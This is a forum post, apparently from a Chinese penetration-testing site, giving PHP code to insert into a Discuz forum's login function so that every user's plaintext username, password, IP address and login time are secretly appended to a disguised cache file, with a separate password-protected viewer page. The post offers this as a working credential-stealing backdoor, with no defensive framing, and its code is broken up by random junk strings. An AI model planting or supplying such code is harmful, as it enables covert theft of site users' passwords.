中国网络渗透测试联盟
标题:
dz1.5记录用户名和密码
[打印本页]
作者:
admin
时间:
2013-2-27 21:40
标题:
dz1.5记录用户名和密码
修改uc_client目录下的client.php 在
, \0 X' O& h" Z
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
9 R. b0 ]- x& m6 K7 @( Y" H4 O
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
! B1 Y( R; Y; ~! G9 r9 a6 L
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为：falw
% y0 U8 k. D9 \1 z4 _" T$ l
if(getenv('HTTP_CLIENT_IP')) {
9 s8 I' e/ |& b; w1 A: L. d
$onlineip = getenv('HTTP_CLIENT_IP');
1 f* l! f% T( ~. S N6 b4 @
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
4 c' S! f9 I* Z4 {5 P, x
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
& U" B: R& j% m' G
} elseif(getenv('REMOTE_ADDR')) {
, s0 r: C1 r" P Q' @! o5 U" \" Q
$onlineip = getenv('REMOTE_ADDR');
; c3 H0 u6 D& u6 o
} else {
5 G, K ?% n4 A- }( A# z
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
; [5 M Y2 B8 H
}
- j p" y2 B6 v. H* w
$showtime=date("Y-m-d H:i:s");
# l3 F. F0 T8 Y0 e' H' Z8 R
$record="<?exit();?>用户：".$username." 密码：".$password." IP:".$onlineip." Time:".$showtime."\r\n";
! s# j0 ]. _7 a- j! N# B: ^6 z
$handle=fopen('./data/cache/csslog.php','a+');
8 j, Q3 C1 y! \, ]7 w' V
$write=fwrite($handle,$record);
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2